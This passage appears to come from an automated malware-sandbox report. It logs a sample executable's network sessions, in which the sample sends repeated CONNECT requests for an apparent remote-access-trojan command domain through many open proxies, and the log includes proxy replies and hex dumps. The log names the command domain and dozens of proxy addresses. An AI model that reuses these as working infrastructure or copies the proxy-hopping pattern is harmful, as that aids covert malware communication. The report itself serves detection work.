SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi
Mar 11, 2024 03:31:50.565409899 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi
Mar 11, 2024 03:32:39.717700005 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.5	52587	196.20.125.149	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.601233959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.5	52125	107.180.88.41	58037	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.615704060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.701805115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.5	52591	91.189.177.190	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.619033098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.950541019 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.5	52615	207.180.234.220	39737	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.620213032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.389347076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389731884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.202162027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.889749050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702083111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.5	52599	65.109.152.88	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.628547907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.952377081 CET	236	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Length: 69 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 6f 6e 20 31 32 37 2e 30 2e 30 2e 31 3a 35 33 3a 20 73 65 72 76 65 72 20 6d 69 73 62 65 68 61 76 69 6e 67 0a Data Ascii: dial tcp: lookup artemis-rat.com on 127.0.0.1:53: server misbehaving

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.5	52574	103.231.45.145	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.628551006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.5	50473	162.223.116.75	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.636621952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.701844931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.702188969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.702240944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.5	52579	112.109.16.51	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.658297062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.894119024 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.5	52650	14.103.26.53	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.658514023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.957457066 CET	536	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.5	52581	38.156.75.14	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.659401894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.112646103 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.5	52639	45.71.184.134	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.668133974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.119857073 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.5	52598	43.133.136.208	8800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.668317080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.5	52651	43.129.228.46	7891	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.668422937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.5	52647	51.89.173.40	26545	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.668545008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.389410973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389781952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389647961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207736015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.999226093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.701992989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.201786041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.5	52621	1.194.236.229	5005	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.668704987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.236263037 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.5	52253	171.247.244.103	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.668704987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.5	52660	8.213.128.90	6666	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.669089079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.5	52626	37.235.53.208	6789	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.669666052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.988926888 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.5	52633	202.83.102.83	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
